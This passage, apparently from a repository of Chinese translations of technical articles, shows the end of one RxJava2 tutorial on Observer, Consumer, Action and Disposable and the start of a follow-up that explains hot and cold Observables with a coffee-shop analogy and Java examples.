**false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\n… infinite\n\n所以你轻易地看到了 false，这意味着我没有被离婚因为我从来没有调用过 Disposable.dispose() 方法。现在是时候向你展示当我调用 dispose() 后会发生什么了。\n\n```\npublic class ObserverLecture {\n    \n    private static Disposable disposable;\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Observer<Object> observer = new Observer<Object>() {\n            @Override public void onSubscribe(Disposable disposable) {ObserverLecture.disposable = disposable;}\n            @Override public void onNext(Object o) {System.out.println(\"onNext called\");}\n            @Override public void onError(Throwable throwable) {System.out.println(\"onError called. Die due to reason: \" + throwable.getMessage());}\n            @Override public void onComplete() {System.out.println(\"onComplete: Die with natural death\");}\n        };\n\n        getObservable().subscribe(observer);\n        \n        int count = 0;\n        while (true) {\n            Thread.sleep(1000);\n            System.out.println(\"disposable.isDisposed(): \" + disposable.isDisposed());\n\n            count++;\n            if (count == 3)\n                disposable.dispose();\n        }\n\n    }\n\n    private static Observable<Object> getObservable() {\n        return Observable.create(observableEmitter -> {\n            Observable.interval(1000, TimeUnit.MILLISECONDS)\n                    .subscribe(aLong -> {\n                        observableEmitter.onNext(new Object());\n                    });\n        });\n    }\n}\n```\n\n这里的代码和上面的也只有在 while 循环处一个不同。这次我添加了一个 count 变量，所以在我从 Observable 获得三次数据后我就会调用 dispose，从而让我和 Observable 离婚了。\n输出：\nonNext called\ndisposable.isDisposed(): false\nonNext called\ndisposable.isDisposed(): false\nonNext called\ndisposable.isDisposed(): false\ndisposable.isDisposed(): **true**\ndisposable.isDisposed(): **true**\ndisposable.isDisposed(): **true**\n…\n\n现在你从输出中能看到，三次后我得到了 true，这意味着我离婚了。问题 Observable 身上将会发生什么，他会死去吗？为了解决这个问题，我引入一个概念叫做 冷、热 Observable。如果他是热 Observable 那么他不会死去。但如果他是冷的，他将会停止发送数据。\n\n现在我觉得没有必要去讨论 onNext() 了，因为我们已经在我们的例子中看到了这个方法会在 Observable 数据有任何改变的时候被调用。\n所以是时候讨论一下 onError() 和 onComplete() 了，同时包括疾病死亡和自然死亡。\n\n```\npublic class ObserverLecture {\n\n    private static Disposable disposable;\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Observer<Object> observer = new Observer<Object>() {\n            @Override public void onSubscribe(Disposable disposable) {ObserverLecture.disposable = disposable;}\n            @Override public void onNext(Object o) {System.out.println(\"onNext called\");\n                                                    System.out.println(\"disposable.isDisposed(): \" + disposable.isDisposed());}\n            @Override public void onError(Throwable throwable) {System.out.println(\"onError called. Die due to reason: \" + throwable.getMessage());}\n            @Override public void onComplete() {System.out.println(\"onComplete: Die with natural death\");}\n        };\n        getObservable().subscribe(observer);\n\n        while (true) {\n            Thread.sleep(1000);\n            System.out.println(\"disposable.isDisposed(): \" + disposable.isDisposed());\n        }\n    }\n\n    private static Observable<Object> getObservable() {\n        return Observable.create(observableEmitter -> {\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onError(new RuntimeException(\"Die due to cancer\"));\n        });\n    }\n}\n```\n\n这里除了创建 Observable 的方法，我用的代码和上面几乎一样。这个 Observable 会发送四次数据，然后会因为一些原因死去。这里我显示地创造了这个原因，这样我们才好理解 onError() 的概念。\n输出：\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): false\n**onError called. Die due to reason: Die due to cancer**\ndisposable.isDisposed(): **true**\ndisposable.isDisposed(): **true**\n…\n\n这里你也能轻松地看到，在我们的 Observable 死去时，他调用了我的 onError 方法。在他死后，我的 isDisposed() 总会返回 true。这说明我离婚了或成为了寡妇。\n\n是时候看一下 onComplete() 了。\n\n```\npublic class ObserverLecture {\n\n    private static Disposable disposable;\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Observer<Object> observer = new Observer<Object>() {\n            @Override public void onSubscribe(Disposable disposable) {ObserverLecture.disposable = disposable;}\n            @Override public void onNext(Object o) {System.out.println(\"onNext called\"); System.out.println(\"disposable.isDisposed(): \" + disposable.isDisposed());}\n            @Override public void onError(Throwable throwable) {System.out.println(\"onError called. Die due to reason: \" + throwable.getMessage());}\n            @Override public void onComplete() {System.out.println(\"onComplete: Die with natural death\");}\n        };\n\n        getObservable().subscribe(observer);\n\n        while (true) {\n            Thread.sleep(1000);\n            System.out.println(\"disposable.isDisposed(): \" + disposable.isDisposed());\n\n        }\n\n    }\n\n    private static Observable<Object> getObservable() {\n        return Observable.create(observableEmitter -> {\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onNext(new Object());\n            observableEmitter.onComplete();\n        });\n    }\n}\n```\n\n你也看到了，我就改了一处地方。Observable 主动调用了 onComplete 方法。\n输出：\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\nonNext called\ndisposable.isDisposed(): **false**\n**onComplete: Die with natural death**\ndisposable.isDisposed(): **true**\ndisposable.isDisposed(): **true**\ndisposable.isDisposed(): **true**\n\n我们很容易就看到，我在调用 Disposable.isDisposed() 时一直是 false，说明我还没有离婚，我还可以从 Observable 获得数据，但是当 onComplete() 调用后 isDispose() 永远返回 true。这意味着因为 Observable 的自然死亡，我离婚了或者是变成了寡妇。\n\n我：喔！谢谢你，Observer。你解释地很棒，帮我解答了很多关于你的疑惑。但是我有些好奇为什么有时候人们使用只有一个方法的 Consumer 来替代 Observer。这是什么方法？\n\nObserver：首先感谢你的夸奖。我可以向你解释更多的 API，但是首先我觉得你应该在 Android 中使用上面的概念并给我一个示例，这样对大家都有帮助。\n\n我：我同意你的想法，但是我觉得当务之急先学习关于你的一切，然后我会给你一个 Android 中使用上述所有 API 的真实的例子。\n\nObserver：好吧，如你所愿。有时候需求并不复杂，尽管你可以使用 Observer 的四个方法但是我觉得使用这四个方法不是必须的，你完全可以用更少的代码来完成需求。因此我把我自己切分成了几个函数式接口，你也可以认为这是对 Observer 的语法糖。例如：\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(new Observer<String>() {\n                    @Override\n                    public void onSubscribe(Disposable disposable) {\n                    \n                    }\n\n                    @Override\n                    public void onNext(String string) {\n                        System.out.println(\"onNext: \"+string);\n\n                    }\n\n                    @Override\n                    public void onError(Throwable throwable) {\n                        System.out.println(\"onError\");\n                    }\n\n                    @Override\n                    public void onComplete() {\n                        System.out.println(\"onComplete\");\n                    }\n                });\n    }\n}\n```\n\n输出：\nonNext: A\nonNext: B\nonNext: C\nonNext: D\nonComplete\n\n这里你能看到我只关注数据，但是我不得不实现 onSubscribe、onError 和 onComplete 方法。看下个例子是如何使用更少的代码来达到相同的目的。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(s -> System.out.println(s));\n\n    }\n}\n```\n\n上述这两个例子在功能上是一模一样的，但是这次你看的例子只用了两行代码，而上面的那个代码则非常的长。所以我想和你分享我所有的函数式接口以及你如何在你的应用中使用它们。\n\n```\npublic interface Consumer<T> {\n    void accept(@NonNull T var1) throws Exception;\n}\n```\n\n```\npublic interface Action {\n    void run() throws Exception;\n}\n```\n\n我有两个函数式接口，一个最好使的 Consumer<T>，还有一个是 Action。我们先聊一下 Consumer 接口。当我只关注数据且并不在乎任何其他状态的变化时，比如我不想使用 Disposable 了解是否被分离，我也不想知道 Observable 是否死亡以及是否是自然死亡还是疾病死亡。在这种情况下，我就可以使用 Consumer API。因此我很感谢 Observable 提供这个选项让我使用我的函数式接口来订阅他。\n\nObservable：🙂\n\nObserver：是时候让你看看我们使用的示例了。\n\n```\npublic static void main(String[] args) {\n\n    List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n    Observable.fromIterable(strings)\n            .subscribe(new Consumer<String>() {\n                @Override\n                public void accept(String s) throws Exception {\n                    System.out.println(s);\n                }\n            });\n}\n```\n\n这里我仅仅订阅了 Observable 的 onNext() 回调，你很容易就能看出来我生成了一个匿名内部类给 Observable 来订阅。下面更神奇的来了，我有和你们说过我有函数式接口，这意味着我能生成一个 Lambda 表达式给 Observable 来订阅而不再需要匿名内部类或者接口对象。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(s -> System.out.println(s));\n    }\n}\n```\n\n喔，你看到上面的例子了，就一行代码。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(System.out::println);\n    }\n}\n```\n\n喔，用了更少的代码量。这里我使用了方法引用，但是上面的两块代码功能上是完全一致的。下面的例子还有个技巧。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer);\n    }\n\n    private static Consumer<String > consumer = System.out::print;\n    //private static Consumer<String > consumer2 = s->{};\n}\n```\n\n这里我单独定义了我的 Consumer 函数式接口，并使用这个对象来订阅。\n下面是如果我也想知道错误的信息，我将如何被相同的函数式接口通知到。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, new Consumer<Throwable>() {\n                    @Override\n                    public void accept(Throwable throwable) throws Exception {\n                        System.out.println(\"Die due to \"+throwable.getMessage());\n                    }\n                });\n    }\n\n    private static Consumer<String > consumer = System.out::print;\n}\n```\n\n这里你可以看到 Observable 的 subscribe 方法的第二个参数是用来通知 onError 的。因此我也生成了一个相同的 Consumer 函数式接口，这个接口的泛型 T 是 Throwable 类。这么用真的是超级简答。\n下面是我如何使用 Lambda 表达式获得相同的内容。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer,\n                        throwable -> System.out.println(\"Die due to \"+throwable.getMessage()));\n    }\n\n    private static Consumer<String > consumer = System.out::print;\n}\n```\n\n\n下面是我如何使用方法引用实现同样的功能。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, System.out::print);\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n}\n```\n\n喔，只有一件事要注意的是，这里的方法引用仅仅是调用了 Throwable.toString()，并不能展现我们自定义的消息。就像上面例子的那样**(System.out.println(“Die due to “+throwable.getMessage())**。\n现在是时候向你展示使用定义我自己的 Error Consumer API 并生成一个那样的对象来订阅。\n\n```\npublic class ObserverLecture {\n    \n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error);\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n}\n```\n\n我知道你现在一定很好奇如何知道 Observable 的 onComplete() 是否被调用。对于那种情况，我可以使用 Action 接口。我需要生成一个 Action 接口来作为 Observable 的 subscribe 的第三个参数，从而我能从 Action 接口的回调了解到 Observable 是否完成。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, new Action() {\n                    @Override\n                    public void run() throws Exception {\n                        System.out.println(\"OnComplete\");\n                    }\n                });\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n}\n```\n\n这儿你能看到我的 Action 匿名内部类作为订阅的第三个接口。下面我要给你看下我们如何使用 Lambda 表达式和使用方法引用以及使用第一个单独定义的对象替代它。\n\nLambda 表达式：\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, \n                        () -> System.out.println(\"OnComplete\"));\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n}\n```\n\n方法引用：\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, System.out::println);\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n}\n```\n\n这儿我想提醒一件事，方法引用用在这里只是帮助你理解概念，实际中没什么作用，因为只是向控制台输出了一个空行。\n\n一个定义好的对象：\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, complete);\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n    private static Action complete = ()-> System.out.println(\"onComplete\");\n}\n```\n\n所以你也看到了，第三个参数其实是 Action 而不是Consumer。请牢记。\n\n最后一个是 Disposable。当我想分离时，我如何获得一个 Disposable 呢，这时我们可以用泛型 T 为 Disposable 的 Consumer 作为订阅的第四个参数。\n\n```\npublic class ObserverLecture {\n\n    public static void main(String[] args) {\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, complete, new Consumer<Disposable>() {\n                    @Override\n                    public void accept(Disposable disposable) throws Exception {\n                        \n                    }\n                });\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n    private static Action complete = ()-> System.out.println(\"onComplete\");\n}\n```\n\n到这儿我就能获得 Disposable 了。看到这想必你也明白了，我既可以实现一个 Observer 也可以用函数式接口做到同样的事。也就是说 Observer 订阅等于 四个函数式接口订阅的组合（Consumer<T>, Consumer<Throwable>, Action, Consumer<Disposable>）。\n好了，下面再给你看下我们如何使用 Lambda 表达式替代 Consumer<Disposable>。\n\n```\npublic class ObserverLecture {\n\n    private static Disposable d;\n\n    public static void main(String[] args) {\n\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, complete, disposable -> d = disposable);\n    }\n\n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n    private static Action complete = ()-> System.out.println(\"onComplete\");\n}\n```\n\n作为一个独立定义的对象：\n\n```\npublic class ObserverLecture {\n\n    private static Disposable d;\n\n    public static void main(String[] args) {\n\n        List<String> strings = Arrays.asList(\"A\", \"B\", \"C\", \"D\");\n        Observable.fromIterable(strings)\n                .subscribe(consumer, error, complete, disposable);\n        \n    }\n    \n    private static Consumer<String> consumer = System.out::print;\n    private static Consumer<Throwable> error = System.out::print;\n    private static Action complete = ()-> System.out.println(\"onComplete\");\n    private static Consumer<Disposable> disposable = disposable -> d = disposable;\n}\n```\n\n希望我都把一切都讲清楚了。最后我还想说下，用 Observer 接口或者使用函数式接口完全取决于开发者们自身的选择。还有问题吗？\n\nObservable：等一下。我还想再次感谢一下 Observer，耽误了她不少时间。我觉得你应该借此给出一个更加合适的、实际中用到的、包含上面全部概念的例子，这应该帮助到读者。\n\n我：首先我也要先谢谢 Observer，你真棒！那 Observable，我等会给出一个 Android 中的例子吧，然后我就想学习 Observable 中的 Subject 了。\n\nObservable：哈哈，好的。我就在这儿哪都不去，但是在那之前我们要先和 Observer 说再见了。\n\n我：是的，谢谢 Observer 用你宝贵的时间给我们分享。其实我在日常编程任务中已经大量使用你了，但是直到现在我才知道为什么我需要使用你以及你是如何工作的。再次感谢！\n\n结语：\n朋友们，大家好。希望上面的知识点都讲清楚了，不过要在日常实践中多多使用上面的知识点哦。现在我想应该和大家说再见了，周末愉快。\n🙂\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md",
    "content": "> * 原文地址：[Continuation (Summer vs Winter Observable) of Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part6](http://www.uwanttolearn.com/android/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md)\n> * 译者：[hanliuxin](https://github.com/hanliuxin5)\n> * 校对者：[JayZhaoBoy](https://github.com/JayZhaoBoy)，[Lixiang](https://github.com/LeeSniper)\n\n# 大话（Summer vs Winter Observable）之我与 Rx Observable[Android RxJava2]（这是什么鬼）第六话\n\n哇哦，又是新的一天，是时候来学习一些新的「姿势」了 🙂。\n\n嗨，朋友们，希望大家一切都好。这是我们 RxJava2 Android 系列的第六篇文章【【第一话】(https://juejin.im/entry/58ada9738fd9c5006704f5a1),【第二话】(https://juejin.im/entry/58d78547a22b9d006465ca57),【第三话】(https://juejin.im/entry/591298eea0bb9f0058b35c7f),【第四话】(https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md),【第五话】(https://juejin.im/post/590ab4f7128fe10058f35119),【第六话】(https://github.com/xitu/gold-miner/blob/master/TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md)【第七话】(https://github.com/xitu/gold-miner/blob/master/TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md) 和【第八话】(https://github.com/xitu/gold-miner/blob/master/TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md) 】。在这一篇文章中，我们将继续围绕 Rx 展开对话。还有一件重要的事情是，基本上 Summer vs Winter 意味着 Hot 和 Cold Observale 🙂 。\n\n**我为啥要写这个呢:**\n\n原因和我在 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 与你分享过的一样。\n\n**引言:**\n\n**这篇文章并没有引言，因为这其实是我们上一篇文章的延续，但在开始之前我想我们应该进行一下前景回顾。上一篇文章中我们遇到了一位 Rx Observable 先生。他给了我们不少关于学习 Rx 的建议，然后他还分享给了我们一些可以用来创造 Observable 的方法，最后他打算告诉我们一些关于 Could 和 Hot Observable 的东西，结果我们就此打住。\n\n**紧接上一话:**\n\nObservable：其实还有很多。我在这里介绍两类 Observable 对象。一种叫做 Cold Observable，第二个是 Hot Observable。有些时候开发者习惯把 Hot 和 Cold Observabels 拿来做比较 :)。 这些真的是很简单的概念。这里，我会通过一些简单的例子来阐述一下概念，然后我会告诉你如何在编码中使用它们。再之后我想我会给你一些真实案例，你觉得如何？\n\nMe：当然，我就在你眼前，这样你可以随时检查我是否有做错的地方。\n\nObservable: 哈哈哈哈，当然了。那么有多少人了解商场的促销人员，就是那些站在商店门口希望藉由大声吆喝来招揽顾客的人呢？\n\nMe: 估计没几个，很多人都不太了解这种盛行于亚洲国家比如巴基斯坦和印度的销售文化……你能试着采用一些更加通俗的例子吗，这样的话每个人都能更加轻易的理解这个概念。\n\nObservable: 当然，没问题。有多少人了解咖啡和咖啡店呢？\n\nMe: 差不多每个人吧。\n\nObservable: 很好。现在这里有两家咖啡店，一家叫做霜语咖啡店，一家叫做火舞咖啡店。任何一个去霜语咖啡馆的人都可以买一杯咖啡，然后坐在咖啡馆的任何地方。咖啡厅里的每个座位上都提供了一副智能耳机。他们提供了一个有三首诗的播放列表。这些耳机最智能的地方在于，每当有人带上它们，这些耳机总是从第一首诗开始播放，如果有人中途取下了耳机后再次重新戴上，那么这些耳机仍然会重新从第一首诗开始播放。对了，如果你只是取下了耳机，那么它也就会停止播放。\n\n反过来，火舞咖啡馆有一套完善的音乐播放系统。当你进入咖啡馆的时候，你就会开始听到他们播放的诗，因为他们有着非常好的音乐播放系统和一个大号的扬声器。他们的诗歌列表里有无数首诗，当他们每天开始营业的时候他们就会打开这个系统。所以说这个系统的运行与顾客无关，任何将会进入这家咖啡馆的人都能听到那个时刻正在播放的诗，并且他永远也不知道他进入之前已经播放完了多少诗了。这跟我们要讲的 Observable 是一个概念。\n\n就像霜语咖啡馆的那些耳机，Cold Obervable 总是被动的。就像你用 Observable.fromArray() 或者其他任何方法来创造 Observable 一样，他们和那些耳机差不多。如同戴上耳机播放列表才会播放一样，当你开始订阅那些 Observable 后你才会开始接收到数据。而当订阅者取消了对 Observable 的订阅后，如同取下耳机后诗会停止播放一样，你也将不再能接收到数据。\n\n最后的重点是霜语咖啡馆提供了很多副耳机，但是每副耳机只会在有人戴上它们之后才会开始播放。即使某个人已经播放到了第二首诗，但另外的某个人才戴上耳机，那么第二个人会从第一首诗开始播放。这意味着每个人都有独立的播放列表。就如同我们有三个订阅了 Cold Observable 的订阅者一样，它们会得到各自独立的数据流，也就是说 Observable 会对每个订阅者单独地去调用三次 onNext 方法。换句话说就是，Cold Observable 如同那些耳机一样依赖于订阅者的订阅(顾客戴上耳机)。\n\nHot observable 就像火舞咖啡馆的音乐系统一样。一旦咖啡馆开始营业，其音乐系统就会开始播放诗歌，不管有没有人在听。每位进来的顾客都会从那个时刻正好在播放的诗开始聆听。这跟 Hot Observable 所做的事情一样，一旦它们被创建出来就会开始发射数据，任何的订阅者都会从它们开始订阅的那个时间点开始接收到数据，并且绝不会接收到之前就发射出去的数据。任何订阅者都会在订阅之后才接收到数据。我想我会使用同样的例子来进行编码，并且之后我会给一些真实案例。\n\n**Cold Observable:**\n\n```\npublic class HotVsCold {\n\n    public static void main(String[] args) throws InterruptedException {\n\n        List<String > poemsPlayList = Arrays.asList(\"Poem 1\", \"Poem 2\", \"Poem 3\");\n        Observable coldMusicCoffeCafe = Observable.fromArray(poemsPlayList);\n\n        Consumer client1 = poem-> System.out.println(poem);\n        Consumer client2 = poem-> System.out.println(poem);\n        Consumer client3 = poem-> System.out.println(poem);\n        Consumer client4 = poem-> System.out.println(poem);\n\n        coldMusicCoffeCafe.subscribe(client1);\n        coldMusicCoffeCafe.subscribe(client2);\n        System.out.println(System.currentTimeMillis());\n        Thread.sleep(2000);\n        System.out.println(System.currentTimeMillis());\n        coldMusicCoffeCafe.subscribe(client3);\n        coldMusicCoffeCafe.subscribe(client4);\n\n    }\n}\n```\n\n好吧，这是一些很简单的示例代码。我有 4 个顾客和 1 个我在霜语咖啡馆例子里提到的播放列表。当前两个顾客戴上了耳机后，我暂停了 2 秒的程序，然后 3 号和 4 号顾客也戴上了耳机。在最后我们查看输出数据时，我们能轻易地看出每个顾客都把 3 首诗从头听了一遍。\n\n```\nOutput:\n[Poem 1, Poem 2, Poem 3]\n[Poem 1, Poem 2, Poem 3]\n1494142518697\n1494142520701\n[Poem 1, Poem 2, Poem 3]\n[Poem 1, Poem 2, Poem 3]\n```\n\n**Hot Observable:**\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Observable<Long> hotMusicCoffeeCafe = Observable.interval(1000, TimeUnit.MILLISECONDS);\n    ConnectableObservable<Long> connectableObservable = hotMusicCoffeeCafe.publish();\n    connectableObservable.connect(); //  咖啡馆开始营业，音乐播放系统开启\n\n    Consumer client1 = poem-> System.out.println(\"Client 1 poem\"+poem);\n    Consumer client2 = poem-> System.out.println(\"Client 2 poem\"+poem);\n    Consumer client3 = poem-> System.out.println(\"Client 3 poem\"+poem);\n    Consumer client4 = poem-> System.out.println(\"Client 4 poem\"+poem);\n\n    Thread.sleep(2000); // 在２首诗已经播放完毕后第一位顾客才进来，所以他会才第二首诗开始听\n    connectableObservable.subscribe(client1);\n    Thread.sleep(1000); // 第二位顾客会从第三首诗开始听\n    connectableObservable.subscribe(client2);\n\n    Thread.sleep(4000); // 第三和第四为顾客为从第七首诗开始听（译者注：本来是写的 poem 9）\n    connectableObservable.subscribe(client3);\n    connectableObservable.subscribe(client4);\n\n    while (true);\n}\n```\n\n火舞咖啡馆开始营业的时候就会开启其音乐播放系统。诗歌会在以上代码里我们调用 connect 方法的时候开始播放。暂时先不需要关注 connect 方法，而只是试着理解这个概念。当经过 2 秒暂停，第一个顾客走进了咖啡馆后，他会从第二首诗开始听。下一位顾客会在 1 秒之后进来，并且从第三首诗开始听。之后，第三和第四位顾客会在 4 秒后进入，并且从第七首诗开始听。你可以看到这个音乐播放系统是独立于顾客的。一旦这个音乐系统开始运行，它并不在乎有没人顾客在听。也就是说，所有的顾客会在他们进入时听到当前正在播放的诗，而且他们绝不会听到之前已经播放过的诗。现在我觉得你已经抓住了 Hot vs Cold Observable 的概念。是时候来瞧一瞧如何创建这些不同 Observables 的要点了。\n\nCold Observable:\n1. 所有的 Observable 默认都是 Cold Obserable。这就是说我们使用诸如 Observable.create() 或者 Observable.fromArray() 这类的方法所创建出来的 Observable 都是 Cold Observable。\n2. 任何订阅 Cold Observable 的订阅者都会接收到独立的数据流。\n3. 如果没有订阅者订阅，它就什么事情也不会做。是被动的。\n\nHot Observable:\n1. 一旦 Hot Observable 被创建了，不管有没有订阅者，它们都会开始发送数据。\n2. 相同时间开始订阅的订阅者会得到同样的数据。\n\nMe: 听上去不错。你能告诉我如何将我们的 Cold Observable 转换成 Hot Observable 吗？\n\nObservable: 当然，Cold 和 Hot Observable 之间的转换很简单。\n\n```\nList<Integer> integers = new ArrayList<>();\nObservable.range(0, 10000)\n        .subscribe(count -> integers.add(count));\n\nObservable<List<Integer>> listObservable = Observable.fromArray(integers);\n```\n\n在上面的代码里面，listObservable 是一个 Cold Observable。现在来看看我们怎么把这个 Cold Observable 转换成 Hot Observable 的。\n\n```\nObservable<List<Integer>> listObservable = Observable.fromArray(integers);\nConnectableObservable connectableObservable = listObservable.publish();\n```\n\n我们用 publish() 方法将我们的 Cold Observable 转换成了 Hot Observable。于是我们可以说任何的 Cold Observable 都可以通过调用 publish() 方法来转换成 Hot Observable，这个方法会返回给你一个 ConnectableObservable，只是此时还没有开始发射数据。有点神奇啊。当我对任意 Observable 调用 publish() 方法时，这意味着从现在开始任何开始订阅的订阅者都会分享同样的数据流。有趣的一点是，如果现在有任意的订阅者订阅了 **connectableObservable**，它们什么也得不到。也许你们感到有些疑惑了。这里有两件事需要说明。当我调用 publish() 方法时，只是说明现在这个 Observable 做好了能成为单一数据源来发射数据的准备，为了真正地发射数据，我需要调用 **connect()** 方法，如下方代码所示。\n\n```\nObservable<List<Integer>> listObservable = Observable.fromArray(integers);\nConnectableObservable connectableObservable = listObservable.publish();\nconnectableObservable.connect();\n```\n\n很简单对吧。记住调用 publish() 只是会把 Cold Observable 转换成 Hot Observable，而不会开始发射数据。为了能够发射数据我们需要调用 cocnnect()。当我对一个 ConnectableObserbale 调用 connect() 时，数据才会开始被发射，不管有没有订阅者。这里还有一些在正式项目里会非常有用的方法，比如 refCount()、share()、replay()。在开始谈及它们之前，我会就此打住并再给你展示一个例子，以确保你们真正抓住了要领。\n\nMe: 好嘞，希望不要太复杂。\n\nObservable: 哈哈哈，不会的。我只是需要再来详细解释一下，确保每个人都把握了这个概念，因为这个概念其实并不算是特别简单的和容易理解的。\n\nMe: 我也觉得。\n\nObservable：现在我会给你一个例子来让你更好地来准确把握这个概念。比如我们有如下的一个 Observable。\n\n```\nObservable<String> just = Observable.just(\"Hello guys\");\n```\n\n还有两个不同的订阅者订阅了它。\n\n```\npublic class HotVsCold {\n    public static void main(String[] args) {\n        Observable<String> just = Observable.just(\"Hello guys\");\n        just.subscribe(s-> System.out.println(s));\n        just.subscribe(s-> System.out.println(s));\n    }\n}\n```\n\n```\nOutput:\nHello guys\nHello guys\n```\n\n我的问题是，这个 Observable 是 Cold 还是 Hot 的呢。我知道你肯定已经知道这个是 cold，因为这里没有 publish() 的调用。先暂时把这个想象成我从某个第三方库获得而来的，于是我也不知道这是哪种类型的 Observable。现在我打算写一个例子，这样很多事情就不言而喻了。\n\n```\npublic static void main(String[] args) {\n    Random random = new Random();\n    Observable<Integer> just = 